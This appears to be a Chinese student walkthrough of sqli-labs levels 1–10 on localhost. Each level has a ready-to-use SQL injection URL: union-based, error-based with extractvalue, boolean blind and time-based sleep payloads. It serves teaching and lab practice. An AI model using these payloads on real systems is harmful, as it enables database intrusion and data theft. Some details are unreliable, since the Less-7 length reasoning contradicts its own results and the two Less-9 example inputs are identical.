1.第一关
http://localhost:8089/Less-1/?id=-1' union select 1,2,database() --+
我们首先输入 and 1=1 和 and 1=2 没有反应,然后测试输入单引号引发报错,存在字符型注入,后台的sql语句大概为select * from xxx where id='xxx' 当我们输入单引号时导致单引号多一个,语句没有正常闭合,所以报错,我们以单引号闭合前面的sql语句 --+将后面多出的单引给注释掉即可让语句恢复正常,然后使用order by猜测有多少字段,当最大为3时能够正常显示,所以后台字段数为三个,然后使用union联合查询即可得到数据库的名称,我们注入后,后台的sql语句为:select * from xxx where id = '-1' union select 1,2,database() --+'
2.第二关
http://localhost:8089/Less-2/?id=-1 union select 1,2,database()
输入and 1=1 时显示正常,输入and 1=2时没有内容显示,大概率为数值型注入,后台sql语句大概为select * from xxx where id=1 ,没有单引号所以后面也可以不用--+进行注释,后续order by猜测字段与第一题一样即可
3.第三关
http://localhost:8089/Less-3/?id=-1') union select 1,2,database() --+
原理跟第一关相同,单引号报错但是后面加注释又没办法使语句闭合,猜了半天是需要单引号和右括号才能使语句闭合,后台语句为select * from xxx where id=( '1' ) ,我们注入后的语句为:select * from xxx where id = (‘-1’)union select 1,2,database() --+ ')
4.第四关
http://localhost:8089/Less-4/?id=-1") union select 1,2,database() --+
闭合语句由单引号括号变成了双引号括号,其余跟第三关不变
5.http://localhost:8089/Less-5/?id=1' and (extractvalue(1,concat('~',database()))) --+
输入单引号报错,说明语句是以单引号闭合,语句输入错误会有报错信息提示,语句输入正确会显示you are in 所以这里使用报错注入
6.http://localhost:8089/Less-6/?id=1" and (extractvalue(1,concat('~',database()))) --+
闭合语句由单引号变成了双引号,其余跟第五关不变
7. 第七关
输入 ?id=1')) and 1=1 --+ 正常回显内容,输入 ?id=1')) and 1=2 --+ 显示错误信息,然后无论什么错误都不会给出更多的错误信息,所以此处只能使用布尔盲注进行注入
http://localhost:8089/Less-7/?id=1')) and (length(database())>7) --+ 正常进行回显
http://localhost:8089/Less-7/?id=1')) and (length(database())>8) --+ 报错误信息,所以判断数据库长度为7,然后依次拆解数据库字母,知道爆出数据库全程,后续操作可以尝试用工具。
8.第8关
输入 ?id=1' and 1=1 --+ 正常回显内容,输入 ?id=1' and 1=2 --+ 显示错误信息,使用布尔盲注,其余跟第七关相同
http://localhost:8089/Less-8/?id=1' and 1=1 --+
http://localhost:8089/Less-8/?id=1' and 1=2 --+
9.第九关
http://localhost:8089/Less-9/?id=1' and sleep(10) --+
发现无论怎么输入界面都只显示一句话,当我们测试使用时间型盲注时发现界面延迟了10秒加载,所以此处使用时间盲注进行注入,时间最好设置长一点,不然可能和正常加载速度无法区分开来
示例;查询数据数据库长度:if(a,b,c)当a条件成立时则执行b,否则执行c
输入:http://localhost:8089/Less-9/?id=1' and if((length(database())>8),sleep(10),0) --+,页面直接加载
输入:http://localhost:8089/Less-9/?id=1' and if((length(database())>8),sleep(10),0) --+,页面十秒后加载
10.第十关
http://localhost:8089/Less-10/?id=1" and sleep(10) --+
跟第九关相同,闭合符号变成了双引号 ,其余相同